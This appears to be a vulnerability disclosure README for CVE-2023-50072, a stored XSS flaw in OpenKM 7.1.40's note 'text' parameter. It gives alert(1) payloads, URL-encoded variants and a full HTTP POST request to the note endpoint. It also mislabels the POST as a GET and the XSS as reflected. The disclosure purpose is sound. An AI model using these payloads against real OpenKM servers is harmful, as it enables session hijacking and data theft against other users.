ahrixia / cve-2023-50072

A stored cross-site scripting (XSS) vulnerability exists in OpenKM version 7.1.40.

CVE-2023-50072

A stored cross-site scripting (XSS) vulnerability exists in OpenKM version 7.1.40 (dbb6e88) With Professional Extension that allows an authenticated user to upload a note on a file which acts as a stored XSS payload. Any user who opens the note of a document file will trigger the XSS.

Vulerable Parameter: text

Exploit - Proof of Concept (POC)

Reflect cross-site scripting (XSS)

Payload : <img/src/onerror=alert(1)> 
FINAL Payload (URL encoded) : <image/src/onerror%3dalert(1)>

GET Request on [http://localhost/openkm/rest/note/nodes/NODE-ID] :

POST /openkm/rest/note/nodes/34bc430a-e3db-4efa-8289-3d0894010f67 HTTP/2
Host: EXAMPLE.COM
Cookie: lang=en-GB; JSESSIONID=EC6EF7B1DB85C3A839C9D3054095AA8E
Content-Length: 23
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
X-Requested-App: kcenter
Sec-Ch-Ua-Mobile: ?0
Authorization: OKM ey[REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Platform: "Windows"
Origin: https://EXAMPLE.COM
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://EXAMPLE.COM/openkm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

text=<image/src/onerror%3dalert(1)>

Impact

Stored XSS allows attackers to inject malicious scripts into a web application, which get stored and executed when other users view the affected page. This can lead to theft of sensitive information, session hijacking, or distribution of malware.

Screenshot

Other Working Payloads

Payload : <img src/onerror=alert(1)>
FINAL Payload (URL encoded) : <img%20src/onerror=alert(1)>